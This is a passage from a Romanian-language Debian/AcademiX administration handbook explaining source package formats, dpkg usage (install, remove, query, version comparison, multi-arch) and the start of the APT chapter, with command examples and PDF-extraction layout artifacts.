și spațiu pe disc pe oglinzile Debian deoarece pachetul de documentare va fi împărțit tuturor arhitecturilor (în loc
să aibă documentația duplicată în pachetele pentru fiecare arhitectură).

PERSPECTIVĂ Inițial, a existat un singur format de pachet sursă. Acesta este formatul 1.0, care asociază o arhivă
Diferite formate de pachete .orig.tar.gz unui patch “debianizare” .diff.gz (există de asemenea o variantă formată dintr-o singură
sursă arhivă .tar.gz care este utilizată automat dacă nu este disponibil .orig.tar.gz).
De la Squeeze Debian dezvoltatorii Debian au opțiunea de a utiliza noi formate care corectează multe probleme
ale formatului istoric. Formatul 3.0 (quilt) poate combina mai multe arhive în amonte în același pachet
sursă: în plus față de obișnuitul .orig.tar.gz și alte arhive .orig-component.tar.gz pot fi incluse.
Acest lucru este util la software-ul care este distribuit în mai multe componente din amonte, dar pentru care este
dorit un singur pachet sursă. Aceste arhive pot fi de asemenea comprimate cu bzip2 sau xz, mai degrabă, decât
cu gzip care economisește spațiu pe disc și resurse de rețea. În cele din urmă, patch-ul monolitic .diff.gz
este înlocuit cu o arhivă .debian.tar.gz care conține instrucțiunile de compilare și un set de patch-uri în
amonte contribuite de întreținătorul pachetului. Acestea din urmă sunt înregistrate într-un format compatibil cu
quilt — un instrument care facilitează gestionarea unei serii de patch-uri.

Fișierul .orig.tar.gz este o arhivă care conține codul sursă cod sursă, așa cum este furnizat de
dezvoltatorul original. Responsabilii de pachete Debian sunt rugați să nu modifice această arhivă pentru a
putea verifica cu ușurință originea și integritatea fișierului (prin simpla comparație cu un checksum) și pentru a
respecta dorințele unor autori.
Arhiva .debian.tar.xz conține toate modificările făcute de întreținătorul Debian, în special adăugarea
unui director debian care conține instrucțiunile de executat pentru a construi un pachet Debian.

INSTRUMENT Dacă aveți un pachet sursă, puteți utiliza comanda dpkg-source (din pachetul dpkg-dev) pentru a o
Decomprimarea unui pachet decomprima:
sursă $ dpkg-source -x package_0.68-1.dsc
dpkg-source: info: extracting zim in zim-0.68
dpkg-source: info: unpacking zim_0.68.orig.tar.gz
dpkg-source: info: unpacking zim_0.68-1.debian.tar.xz
De asemenea, puteți utiliza apt pentru a descărca un pachet sursă și a-l despacheta imediat. Este necesar ca
liniile corespunzătoare deb-src să fie prezente în fișierul /etc/apt/sources.list (pentru detalii
suplimentare, a se vedea secțiunea 6.1. “Completarea în fișierul sources.list” pagina 97). Acestea sunt
utilizate pentru a enumera “sursele” pachetelor sursă (adică server-ele pe care sunt găzduite un grup de pachete
sursă).
$ apt-get source package
Reading package lists... Done
Selected version ’0.68-1’ (stable) for zim
NOTICE: ’zim’ packaging is maintained in the ’Git’ version
⮩ control system at:
https://salsa.debian.org/debian/zim.git
Please use:
git clone https://salsa.debian.org/debian/zim.git
to retrieve the latest (possibly unreleased) updates to the

85
 ⮩ package.
Need to get 2055 kB of source archives.
Get:1 https://cdn-aws.deb.debian.org/debian stable/main zim
⮩ 0.68-1 (dsc) [1586 B]
Get:2 https://cdn-aws.deb.debian.org/debian stable/main zim
⮩ 0.68-1 (tar) [2044 kB]
Get:3 https://cdn-aws.deb.debian.org/debian stable/main zim
⮩ 0.68-1 (diff) [9300 B]
Fetched 2055 kB in 1s (3356 kB/s)
dpkg-source: info: extracting zim in zim-0.68
dpkg-source: info: unpacking zim_0.68.orig.tar.gz
dpkg-source: info: unpacking zim_0.68-1.debian.tar.xz

5.3.2. Utilizarea în Debian

Pachetul sursă este fundamentul a tot ce există în Debian, și prin urmare și în AcademiX. Toate pachetele
Debian provin dintr-un pachet sursă și fiecare modificare dintr-un pachet Debian este consecința unei
modificări aduse pachetului sursă. Întreținătorii Debian lucrează cu pachetul sursă știind totuși consecințele
acțiunilor lor asupra pachetelor binare. Roadele muncii lor se regăsesc astfel în pachetele sursă disponibile
de la Debian: puteți să vă întoarceți cu ușurință la ele și tot ce rezultă din ele.
Când o nouă versiune a unui pachet (pachet sursă și unul sau mai multe pachete binare) ajunge pe Debian
sau AcademiX server, pachetul sursă este cel mai important. Într-adevăr, atunci va fi folosit de o rețea de
mașini de arhitecturi diferite pentru compilare pe diferitele arhitecturi suportate de Debian. Faptul că
dezvoltatorul trimite, de asemenea, unul sau mai multe pachete binare pentru o arhitectură dată (de obicei
i386 sau amd64) este relativ lipsit de importanță, deoarece acestea ar putea fi la fel de bine generate
automat.
➨ https://buildd.debian.org/
ÎN DETALIU Imediat după lansarea Debian 10 Buster, “Managerul versiunii” pagina 38 a anunțat că încărcările binare ale
Încărcarea, de către întreținătorului nu vor mai fi acceptate pentru main și toate pachetele binare din această componentă vor fi,
întreținător, doar a sursei obligatoriu, construite automat doar din încărcări ale sursei.

5.4. Manipularea pachetelor cu dpkg

Comanda dpkg este de bază pentru gestionarea pachetelor Debian pe sistemul AcademiX. Dacă aveți
pachete .deb, dpkg este cel care permite instalarea sau analiza conținutului acestora. Dar acest program
are doar o vedere parțială a universului Debian: știe ce este instalat pe sistem și orice este dat în linia de
comandă, dar nu știe nimic despre celelalte pachete disponibile. Ca atare, va eșua dacă nu este îndeplinită o
dependență. Instrumente precum apt sau aptitude dimpotrivă, vor crea o listă de dependențe pentru a
instala totul cât mai automat.

REȚINEȚI dpkg ar trebui privit ca un instrument de sistem (backend) și apt ca un instrument mai aproape de utilizator,
dpkg sau apt? care depășește limitările primului. Aceste instrumente lucrează împreună, fiecare cu particularitățile sale,
potrivite pentru sarcini specifice.

5.4.1. Instalarea pachetelor

dpkg este, înainte de toate, instrumentul pentru instalarea unui pachet Debian deja disponibil (pentru că nu
descarcă nimic). Pentru a face acest lucru, folosim opțiunea sa -i ori --install.

Exemplul 5.2 nstalarea unui pachet cu dpkg

# dpkg -i man-db_2.8.5-2_amd64.deb
(Reading database ... 14913 files and directories currently installed.)
Preparing to unpack .../man-db_2.8.5-2_amd64.deb ...
Unpacking man-db (2.8.5-2) over (2.8.5-2) ...
Setting up man-db (2.8.5-2) ...
Updating database of manual pages ...
Processing triggers for mime-support (3.62) ...

86
Putem vedea diferitele etape efectuate de dpkg; știm așadar la ce moment s-a putut produce orice eroare.
Instalarea se poate efectua și în două etape: mai întâi dezambalarea apoi configurarea. apt profită de acest
lucru, limitând numărul de apeluri la dpkg (deoarece fiecare apel este costisitor din cauza încărcării bazei de
date în memorie, în special a listei deja fișiere instalate).

Exemplul 5.3 Despachetarea și configurația separată

# dpkg --unpack man-db_2.8.5-2_amd64.deb

(Reading database ... 14937 files and directories currently installed.)
Preparing to unpack man-db_2.8.5-2_amd64.deb ...
Unpacking man-db (2.8.5-2) over (2.8.5-2) ...
Processing triggers for mime-support (3.62) ...
# dpkg --configure man-db
Setting up man-db (2.8.5-2) ...
Updating database of manual pages ...

Uneori dpkg nu reușește să instaleze un pachet și să returneze o eroare; dacă utilizatorul ordonă să ignore
aceasta, va emite doar un avertisment; din acest motiv avem diferite opțiuni --force-*. Comanda dpkg
--force-help sau documentația acestei comenzi va oferi o listă completă a acestor opțiuni. Cea mai
frecventă eroare, pe care trebuie să o întâlniți mai devreme sau mai târziu, este o coliziune de fișier. Când un
pachet conține un fișier deja instalat de un alt pachet, dpkg va refuza să îl instaleze. Apoi vor apărea
următoarele mesaje:

Unpacking libgdm (from .../libgdm_3.8.3-2_amd64.deb) ...

dpkg: error processing /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb (--unpack):
trying to overwrite ’/usr/bin/gdmflexiserver’, which is also in package gdm3 3.4.1-9

În acest caz, dacă credeți că înlocuirea acestui fișier nu reprezintă un risc semnificativ pentru stabilitatea
sistemului dvs. (care este de obicei cazul), puteți utiliza opțiunea --force-overwrite, care-i spune lui
dpkg să ignore această eroare și să suprascrie fișierul.
Deși există numeroase opțiuni disponibile --force-*, doar --force-overwrite este probabil să fie
utilizat în mod regulat. Aceste opțiuni există doar pentru situații excepționale și este mai bine să le lăsați în
pace cât mai mult posibil pentru a respecta regulile impuse de mecanismul de împachetare. Nu uitați, aceste
reguli asigură coerența și stabilitatea sistemului dumneavoastră.

ATENȚIE Dacă nu sunteți atent, utilizarea unei opțiuni --force-* poate duce la un sistem în care familia de comenzi
Utilizarea eficientă a lui APT va refuza să funcționeze. De fapt, unele dintre aceste opțiuni permit instalarea unui pachet atunci când o
--force-* dependență nu este îndeplinită sau când există un conflict. Rezultatul este un sistem inconsistent din punct de
vedere al dependențelor, iar comenzile APT vor refuza să execute orice acțiune, cu excepția celor care vor
readuce sistemul la o stare consistentă (aceasta constă adesea în instalarea dependenței lipsă sau înlăturarea unui
pachet problematic). Acest lucru duce adesea la un mesaj ca acesta, obținut după instalarea unei noi versiuni a
rdesktop, în timp ce ignorăm dependența sa la o versiune mai nouă a libc6:
# apt full-upgrade
[...]
You might want to run ’apt-get -f install’ to correct these
⮩ .
The following packages have unmet dependencies:
rdesktop: Depends: libc6 (>= 2.5) but 2.3.6.ds1-13etch7
⮩ is installed
E: Unmet dependencies. Try using -f.
Un administrator curajos care este sigur de corectitudinea analizei sale poate alege să ignore o dependență sau
un conflict și să utilizeze opțiunea --force-*. În acest caz, dacă dorește să poată continua să utilizeze apt sau
aptitude, trebuie să editeze /var/lib/dpkg/status pentru a șterge/modifica dependența sau conflictul
pe care au ales să îl înlocuiască.
Această manipulare este neplăcută și nu trebuie folosită niciodată, cu excepția cazului extrem de necesitate.
Destul de frecvent o soluție mai potrivită este să recompilezi pachetul care provoacă problema (vezi secțiunea
15.1. “Reconstruirea unui pachet din sursele sale” pagina 338) sau să folosești o versiune nouă (potențial corectată)
dintr-un depozit cum ar fi stable-backports (a se vedea secțiunea 6.1.2.4. “Stable backports” pagina 99).

5.4.2. Eliminarea unui pachet

Invocând dpkg cu opțiunea -r, sau --remove, urmată de numele unui pachet, elimină acel pachet. Această
eliminare nu este însă completă: rămân toate fișierele de configurare, scripturile de întreținere, fișierele de
jurnal (jurnalele de sistem) și alte date de utilizator gestionate de pachet. În acest fel, dezactivarea

87
programului se face cu ușurință prin dezinstalarea acestuia și este încă posibil să-l reinstalați rapid cu
aceeași configurație. Pentru a elimina complet tot ce este asociat cu un pachet, utilizați opțiunea -P sau --
purge, urmată de numele pachetului.

Exemplul 5.4 Eliminarea și purjarea pachetului debian-cd

# dpkg -r debian-cd
(Reading database ... 15915
Removing debian-cd (3.1.25)
# dpkg -P debian-cd
(Reading database ... 15394
Purging configuration files
files and directories currently installed.)
...
files and directories currently installed.)
for debian-cd (3.1.25) ...

5.4.3. Interogarea bazei de date a dpkg și inspectarea fișierelor .deb

NOȚIUNI DE BAZĂ Majoritatea opțiunilor sunt disponibile într-o versiune “lungă” (unul sau mai multe cuvinte relevante, precedate
Sintaxa opțiunii de o liniuță dublă) și o versiune “scurtă” (o singură literă, adesea inițială a unui cuvânt din versiunea lungă și
precedată de o singură liniuță). Această convenție este atât de comună încât este un standard POSIX.

Înainte de a încheia această secțiune, vom studia opțiunile dpkg care interoghează baza de date internă
pentru a obține informații. Primind mai întâi opțiunile lungi și apoi opțiunile scurte corespunzătoare (care,
evident, vor lua aceleași argumente posibile), cităm --listfiles package (sau -L), care listează
fișierele instalate de acest pachet; --search file (sau -S), care găsește pachetul (pachetele) care
conține fișierul; --status package (sau -s), care afișează anteturile unui pachet instalat; --list (sau -
l), care afișează lista de pachete cunoscute sistemului și starea instalării lor; --contents file.deb (sau
-c), care listează fișierele din pachetul Debian specificat; --info file.deb (sau -I), care afișează
anteturile acestui pachet Debian.

PRUDENȚĂ Din diferite motive7, Debian instalează acum în mod implicit câteva directoare de nivel superior ca legături
dpkg --search îmbinat în simbolice către omologii lor de mai jos /usr. De exemplu, /bin, /sbin și /lib sunt acum legături
/usr simbolice către, respectiv, /usr/bin, /usr/sbin și /usr/lib.
Deși acest lucru oferă beneficii dezirabile, acesta poate fi, de asemenea, o sursă de confuzie. De exemplu, atunci
când interogați dpkg care pachet deține un fișier dat, acesta va putea răspunde numai atunci când solicitați calea
sa originală:
$ dpkg --search /bin/mount
mount: /bin/mount
$ dpkg --search /usr/bin/mount
dpkg-query: no path found matching pattern /usr/bin/mount
$ dpkg --search /bin/apt
dpkg-query: no path found matching pattern /bin/apt
$ dpkg --search /usr/bin/apt
apt: /usr/bin/apt

Exemplul 5.5 Diverse interogări cu dpkg

$ dpkg -L base-passwd
/.
/usr
/usr/sbin
/usr/sbin/update-passwd
/usr/share
/usr/share/base-passwd
/usr/share/base-passwd/group.master
/usr/share/base-passwd/passwd.master
/usr/share/doc
/usr/share/doc/base-passwd
/usr/share/doc/base-passwd/README
/usr/share/doc/base-passwd/changelog.gz
/usr/share/doc/base-passwd/copyright
/usr/share/doc/base-passwd/users-and-groups.html
/usr/share/doc/base-passwd/users-and-groups.txt.gz
/usr/share/doc-base
/usr/share/doc-base/users-and-groups
/usr/share/lintian
/usr/share/lintian/overrides
/usr/share/lintian/overrides/base-passwd

7https://www.freedesktop.org/wiki/Software/systemd/TheCaseForTheUsrMerge/

88
/usr/share/man
/usr/share/man/de
/usr/share/man/de/man8
/usr/share/man/de/man8/update-passwd.8.gz
/usr/share/man/es
/usr/share/man/es/man8
/usr/share/man/es/man8/update-passwd.8.gz
/usr/share/man/fr
/usr/share/man/fr/man8
/usr/share/man/fr/man8/update-passwd.8.gz
/usr/share/man/ja
/usr/share/man/ja/man8
/usr/share/man/ja/man8/update-passwd.8.gz
/usr/share/man/man8
/usr/share/man/man8/update-passwd.8.gz
/usr/share/man/pl
/usr/share/man/pl/man8
/usr/share/man/pl/man8/update-passwd.8.gz
/usr/share/man/ru
/usr/share/man/ru/man8
/usr/share/man/ru/man8/update-passwd.8.gz
$ dpkg -S /bin/date
coreutils: /bin/date
$ dpkg -s coreutils
Package: coreutils
Essential: yes
Status: install ok installed
Priority: required
Section: utils
Installed-Size: 15719
Maintainer: Michael Stone <mstone@debian.org>
Architecture: amd64
Multi-Arch: foreign
Version: 8.30-3
Pre-Depends: libacl1 (>= 2.2.23), libattr1 (>= 1:2.4.44), libc6 (>= 2.28),
⮩ libselinux1 (>= 2.1.13)
Description: GNU core utilities
This package contains the basic file, shell and text manipulation
utilities which are expected to exist on every operating system.
.
Specifically, this package includes:
arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp
csplit cut date dd df dir dircolors dirname du echo env expand expr
factor false flock fmt fold groups head hostid id install join link ln
logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt
od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm
rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac
tail tee test timeout touch tr true truncate tsort tty uname unexpand
uniq unlink users vdir wc who whoami yes
Homepage: http://gnu.org/software/coreutils
$ dpkg -l 'b*'
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-====================-===============-===============-======================================
⮩
un backupninja <none> <none> (no description
⮩ available)
un backuppc <none> <none> (no description
⮩ available)
un baobab <none> <node> (no description
⮩ available)
un base <none> <none> (no description
⮩ available)
un base-config <none> <none> (no description
⮩ available)
ii base-files 11 amd64 Debian base system
⮩ miscellaneous files
ii base-passwd 3.5.46 amd64 Debian base system
⮩ master password and group files
ii bash 5.0-4 amd64 GNU Bourne Again SHell
[..]
$ dpkg -c /var/cache/apt/archives/gnupg-utils_2.2.12-1_amd64.deb
drwxr-xr-x root/root 0 2018-12-15 02:17 ./
drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/
drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/bin/

89
-rwxr-xr-x root/root 3516 2018-12-15 02:17 ./usr/bin/gpg-zip
-rwxr-xr-x root/root 866256 2018-12-15 02:17 ./usr/bin/gpgcompose
-rwxr-xr-x root/root 30792 2018-12-15 02:17 ./usr/bin/gpgparsemail
-rwxr-xr-x root/root 84432 2018-12-15 02:17 ./usr/bin/gpgsplit
-rwxr-xr-x root/root 154952 2018-12-15 02:17 ./usr/bin/gpgtar
-rwxr-xr-x root/root 166568 2018-12-15 02:17 ./usr/bin/kbxutil
-rwxr-xr-x root/root 1081 2017-08-28 12:22 ./usr/bin/lspgpot
-rwxr-xr-x root/root 2194 2018-11-18 23:37 ./usr/bin/migrate-pubring-from-
⮩ classic-gpg
-rwxr-xr-x root/root 121576 2018-12-15 02:17 ./usr/bin/symcryptrun
-rwxr-xr-x root/root 18424 2018-12-15 02:17 ./usr/bin/watchgnupg
drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/sbin/
-rwxr-xr-x root/root 3075 2018-12-15 02:17 ./usr/sbin/addgnupghome
-rwxr-xr-x root/root 2217 2018-12-15 02:17 ./usr/sbin/applygnupgdefaults
drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/share/
drwxr-xr-x root/root 0 2018-12-15 02:17 ./usr/share/doc/
[...]
$ dpkg -I /var/cache/apt/archives/gnupg-utils_2.2.12-1_amd64.deb
new Debian package, version 2.0.
size 857408 bytes: control archive=1844 bytes.
1564 bytes, 32 lines control
1804 bytes, 28 lines md5sums
Package: gnupg-utils
Source: gnupg2
Version: 2.2.12-1
Architecture: amd64
Maintainer: Debian GnuPG Maintainers <pkg-gnupg-maint@lists.alioth.debian.org>
Installed-Size: 1845
Depends: libassuan0 (>= 2.0.1), libbz2-1.0, libc6 (>= 2.25), libgcrypt20 (>=
⮩ 1.8.0), libgpg-error0 (>= 1.26-2~), libksba8 (>= 1.3.4), libreadline7 (>=
⮩ 6.0), zlib1g (>= 1:1.1.4)
Recommends: gpg, gpg-agent, gpgconf, gpgsm
Breaks: gnupg (<< 2.1.21-4), gnupg-agent (<< 2.1.21-4)
Replaces: gnupg (<< 2.1.21-4), gnupg-agent (<< 2.1.21-4)
Section: utils
Priority: optional
Multi-Arch: foreign
Homepage: https://www.gnupg.org/
Description: GNU privacy guard - utility programs
GnuPG is GNU's tool for secure communication and data storage.
.
This package contains several useful utilities for manipulating
OpenPGP data and other related cryptographic elements. It includes:
.
* addgnupghome -- create .gnupg home directories
* applygnupgdefaults -- run gpgconf --apply-defaults for all users
* gpgcompose -- an experimental tool for constructing arbitrary
sequences of OpenPGP packets (e.g. for testing)
* gpgparsemail -- parse an e-mail message into annotated format
* gpgsplit -- split a sequence of OpenPGP packets into files
* gpgtar -- encrypt or sign files in an archive
* kbxutil -- list, export, import Keybox data
* lspgpot -- convert PGP ownertrust values to GnuPG
* migrate-pubring-from-classic-gpg -- use only "modern" formats
* symcryptrun -- use simple symmetric encryption tool in GnuPG framework
* watchgnupg -- watch socket-based logs
[..]

ÎN DETALIU Deoarece dpkg este programul de gestionare al pachetelor Debian, oferă și implementarea de referință a logicii
Compararea versiunilor de comparare a numerelor de versiune. Acesta este motivul pentru care are o opțiune --compare-versions,
utilizabilă de programe externe (în special scripturile de configurare executate chiar de dpkg). Această opțiune
necesită trei parametri: un număr de versiune, un operator de comparație și un al doilea număr de versiune.
Diferiți operatori posibili sunt lt (strict mai puțin decât), le (mai puțin sau egal cu), eq (egal), ne (nu este egal),
ge (mai mare sau egal cu) și gt (strict mai mare decât). Dacă comparația este corectă, dpkg returnează 0
(succes); dacă nu, dă o valoare de retur non-zero (indicând eșecul).
$ dpkg --compare-versions 1.2-3 gt 1.1-4
$ echo $?
0
$ dpkg --compare-versions 1.2-3 lt 1.1-4
$ echo $?
1
$ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1
$ echo $?
1

90
 Rețineți eșecul neașteptat al ultimei comparații: pentru dpkg, pre, care indică, de obicei, o
preselecție, nu are o semnificație particulară, iar acest program compară caracterele alfabetice în
același fel ca numerele (a < b < c ...), în ordine alfabetică. Acesta este motivul pentru care consideră
“0pre3” mai mare decât “0”. Când dorim ca numărul de versiune al unui pachet să indice că este o
pre-lansare, folosim caracterul tildă, “~”:
$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1
$ echo $?
0

5.4.4. Fișierul jurnal al dpkg

dpkg păstrează un jurnal al tuturor acțiunilor sale în /var/log/dpkg.log. Acest jurnal este extrem de
verbal deoarece detaliază fiecare dintre etapele prin care trec pachetele gestionate de dpkg. Pe lângă faptul
că oferă un mod de a urmări comportamentul lui dpkg, acesta ajută mai ales la păstrarea unui istoric al
dezvoltării sistemului: se poate găsi momentul exact în care fiecare pachet a fost instalat sau actualizat iar
aceste informații pot fi extrem de utile în înțelegerea unei schimbări recente de comportament. În plus, toate
versiunile sunt înregistrate, este ușor să verificați informațiile cu changelog.Debian.gz pentru pachetele
în cauză sau chiar cu rapoarte de eroare online.

5.4.5. Asistență multi-arch

Toate pachetele Debian au un câmp Architecture în informațiile lor de control. Acest câmp poate conține
fie “all” (pentru pachetele care sunt independente de arhitectură), fie numele arhitecturii pe care o țintește
(cum ar fi “amd64”, “armhf”...). În ultimul caz, în mod implicit dpkg va accepta să instaleze pachetul numai
dacă arhitectura sa se potrivește cu arhitectura gazdei astfel cum este returnată de dpkg --print-
architecture.
Această restricție asigură că utilizatorii nu ajung la binare compilate pentru o arhitectură incorectă. Totul ar fi
perfect, cu excepția faptului că (unele) calculatoare pot rula binare pentru arhitecturi multiple, fie nativ (un
sistem “amd64” poate rula binare “i386”) sau prin emulatoare.

5.4.5.1. Activarea multi-arch

Suportul multi-arch al lui dpkg permite utilizatorilor să definească “arhitecturi străine” care pot fi instalate pe
sistemul folosit. Acest lucru se face pur și simplu cu dpkg --add-architecture ca în exemplul de mai
jos. Există un dpkg --remove-architecture pentru a renunța la suportul unei arhitecturi străine, dar
poate fi utilizat numai atunci când nu rămân pachete din această arhitectură.

# dpkg --print-architecture
amd64
# dpkg --print-foreign-architectures
# dpkg -i gcc-8-base_8.3.0-6_armhf.deb
dpkg: error processing archive gcc-8-base_8.3.0-6_armhf.deb (--install):
package architecture (armhf) does not match system (amd64)
Errors were encountered while processing:
gcc-8-base_8.3.0-6_armhf.deb
# dpkg --add-architecture armhf
# dpkg --add-architecture armel
# dpkg --print-foreign-architectures
armhf
armel
# dpkg -i gcc-8-base_8.3.0-6_armhf.deb
(Reading database ... 14319 files and directories currently installed.)
Preparing to unpack gcc-8-base_8.3.0-6_armhf.deb ...
Unpacking gcc-8-base:armhf (8.3.0-6) ...
Setting up gcc-8-base:armhf (8.3.0-6) ...
# dpkg --remove-architecture armhf
dpkg: error: cannot remove architecture 'armhf' currently in use by the database
# dpkg --remove-architecture armel
# dpkg --print-foreign-architectures
armhf

91
 REȚINEȚI APT va detecta automat când dpkg a fost configurat pentru a accepta arhitecturi străine și va începe descărcarea
Asistența Multi-Arch pentru fișierelor Packages corespunzătoare procesului de actualizare.
APT Pachetele străine pot fi apoi instalate cu apt install package architecture.

ÎN PRACTICĂ Există mai multe cazuri de utilizare pe mai multe arhitecturi, dar cel mai popular este posibilitatea de a executa
Utilizarea binarelor proprietare binare pe 32 de biți (i386) pe sisteme pe 64 de biți (amd64), în special deoarece mai multe aplicații proprietare
i386 pe amd64 populare (cum ar fi Skype) sunt furnizate doar în versiuni pe 32 bit.

5.4.5.1. Modificări legate de arhitecturi multiple

Pentru ca mai multe arhitecturi să fie utile și utilizabile, bibliotecile au trebuit să fie reîmpachetate și mutate
într-un director specific arhitecturii, astfel încât mai multe copii (care vizează diferite arhitecturi) pot fi
instalate alături. Astfel de pachete actualizate conțin câmpul de antet “Multi-Arch: same” pentru a spune
sistemului de împachetare că diferitele arhitecturi ale pachetului pot fi co-instalate în siguranță (și că acele
pachete pot satisface doar dependențele pachetelor din aceeași arhitectură). De când multi-arch a debutat în
Debian Wheezy, nu toate bibliotecile au fost încă convertite.

$ dpkg -s gcc-8-base
dpkg-query: error: --status needs a valid package name but 'gcc-8-base' is not:
⮩ ambiguous package name 'gcc-8-base' with more than one installed instance

Use --help for help about querying packages.

$ dpkg -s gcc-8-base:amd64 gcc-8-base:armhf | grep ^Multi
Multi-Arch: same
Multi-Arch: same
$ dpkg -L libgcc1:amd64 |grep .so
/lib/x86_64-linux-gnu/libgcc_s.so.1
$ dpkg -S /usr/share/doc/gcc-8-base/copyright
gcc-8-base:amd64, gcc-8-base:armhf: /usr/share/doc/gcc-8-base/copyright

Este demn de remarcat faptul că pachetele Multi-Arch: same trebuie să aibă numele lor calificate cu
arhitectura lor pentru a fi identificate fără ambiguitate. De asemenea, au posibilitatea de a partaja fișiere cu
alte instanțe ale aceluiași pachet; dpkg se asigură că toate pachetele au fișiere identice bit-pentru-bit atunci
când sunt partajate. Nu în ultimul rând, toate instanțele unui pachet trebuie să aibă aceeași versiune. Astfel,
ele trebuie modernizate împreună.
Asistența Multi-Arch aduce, de asemenea, câteva provocări interesante în modul în care sunt gestionate
dependențele. Satisfacerea unei dependențe necesită fie un pachet marcat “Multi-Arch: foreign”, fie
un pachet a cărui arhitectură se potrivește cu cea a pachetului care declară dependența (în acest proces de
rezoluție de dependență, pachetele independente de arhitectură sunt presupuse că să fie de aceeași
arhitectură decât gazda). O dependență poate fi, de asemenea, slăbită pentru a permite oricărei arhitecturi
să o îndeplinească, cu sintaxa package:any, dar pachetele străine pot satisface o astfel de dependență
numai dacă sunt marcate “Multi-Arch: allowed”.

5.5. Coexistența cu alte sisteme de împachetare

Pachetele Debian nu sunt singurele pachete software utilizate în lumea software-ului liber. Principalul
concurent este formatul RPM al distribuției Red Hat Linux și numeroasele sale instrumente derivate. Red Hat
este o distribuție comercială foarte populară. Prin urmare, este obișnuit ca software-ul furnizat de terți să fie
oferit ca pachete RPM și nu Debian.
În acest caz trebuie să știți că programul rpm, care gestionează pachetele RPM, este disponibil ca pachet
Debian astfel încât este posibil să folosiți acest format de pachet pe Debian. Cu toate acestea, trebuie să
aveți grijă să limitați aceste manipulări ca să extragă informațiile dintr-un pachet sau pentru a verifica
integritatea acesteia. Este într-adevăr nejustificat să folosiți rpm pentru a instala un RPM pe un sistem
Debian; RPM folosește propria sa bază de date, separată de cele ale software-ului autohton (cum ar fi dpkg).
Acesta este motivul pentru care nu este posibilă asigurarea unei coexistențe stabile a două sisteme de
ambalare.
Pe de altă parte, utilitarul alien poate converti pachetele RPM în pachete Debian și invers.

92
 COMUNITATE Dacă utilizați în mod regulat programul alien, pentru a instala pachete RPM provenind de la unul dintre
Încurajarea adoptării lui .deb furnizorii dvs., nu ezitați să le scrieți și să vă exprimați în mod amabil preferința puternică pentru formatul
.deb. Rețineți că formatul pachetului nu este totul: un pachet .deb construit cu alien sau pregătit pentru o
versiune de Debian diferită de cea pe care o utilizați sau chiar pentru o distribuție derivată ca Ubuntu, probabil
nu ar oferi același nivel de calitate și integrare ca un pachet dezvoltat special pentru Debian Stretch.

$ fakeroot alien --to-deb phpMyAdmin-4.7.5-2.fc28.noarch.rpm

phpmyadmin_4.7.5-3_all.deb generated
$ ls -s phpmyadmin_4.7.5-3_all.deb
4356 phpmyadmin_4.7.5-3_all.deb

Veți constata că acest proces este extrem de simplu. Trebuie să știți totuși că pachetul generat nu are nicio
informație de dependență, deoarece dependențele din cele două formate de împachetare nu au
corespondență sistematică. Administratorul trebuie astfel să se asigure manual că pachetul convertit va
funcționa corect și de aceea pachetele Debian astfel generate trebuie evitate pe cât posibil. Din fericire,
Debian are cea mai mare colecție de pachete software din toate distribuțiile și este posibil ca tot ceea ce
căutați să fie deja acolo.
Uitându-ne la pagina de manual pentru comanda alien, veți observa, de asemenea, că acest program se
ocupă de alte formate de împachetare, în special de cea utilizată de distribuția Slackware (este făcut dintr-o
simplă arhivă tar.gz).
Stabilitatea software-ului implementat folosind instrumentul dpkg contribuie la faima lui Debian. Suita de
instrumente APT, descrisă în capitolul următor păstrează acest avantaj, scutind în același timp
administratorul de gestionarea stării pachetelor, o sarcină necesară dar dificilă.

93
94
 Repere

apt
apt-get
apt-cache
aptitude
synaptic
sources.list
apt-cdrom

95
Capitolul 6

6. Întreținere și actualizări:instrumentele APT

Conţinut
Completarea în fișierul sources.list 97 Comenzile aptitude, apt-get și apt 102 Comanda apt-cache 109
Interfețe: aptitude și synaptic 111 Verificarea autenticității pachetului 113
Trecerea de la o distribuție stabilă la următoarea 115 Menținerea la zi a unui sistem 118
Actualizări automate 119 Căutarea pachetelor 120

Ceea ce face ca Debian să fie atât de popular în rândul administratorilor este cât de ușor poate fi instalat
software-ul și cât de ușor poate fi actualizat întregul sistem. Acest avantaj unic se datorează în mare parte
programului APT, pe care Școala Generală l-a adoptat cu entuziasm.

96
APT este prescurtarea pentru Instrumentul avansat de pachete (Advanced Package Tool). Ceea ce face ca acest
program să fie “avansat” este abordarea pachetelor. Nu le evaluează pur și simplu individual dar le consideră
în ansamblu și produce cea mai bună combinație posibilă de pachete în funcție de ceea ce este disponibil și
compatibil (în funcție de dependențe).

VOCABULAR Cuvântul sursă poate fi ambiguu. Package source - un pachet care conține codul sursă al unui program — nu
Sursa pachetului și pachetul trebuie confundat cu source package — un depozit ( website, FTP server, CD-ROM, director local etc.) care
sursă conține pachete.

APT trebuie să primească o “listă a surselor de pachete”: fișierul /etc/apt/sources.list/ va enumera

diferitele depozite (sau “surse”) care publică pachete Debian. APT va importa apoi lista de pachete publicate
de fiecare dintre aceste surse. Această operație se realizează prin descărcarea Packages.xz sau o
variantă folosind o metodă de compresie diferită (cum ar fi fișierele Packages.gz sau .bz2) și
Sources.xz sau o variantă (în cazul unei surse de pachete sursă) și prin analizarea conținutului acestora.
Când o copie veche a acestor fișiere este deja prezentă, APT îl poate actualiza doar descărcând diferențele
(vezi bara laterală “Actualizarea incrementală (progresivă)” pagina 103).

NOȚIUNI DE BAZĂ O extensie .gz se referă la un fișier comprimat cu utilitarul gzip. gzip este utilitarul Unix tradițional rapid
Compresie gzip, bzip2, și eficient pentru comprimarea fișierelor. Instrumentele mai noi obțin rate mai bune de compresie dar necesită
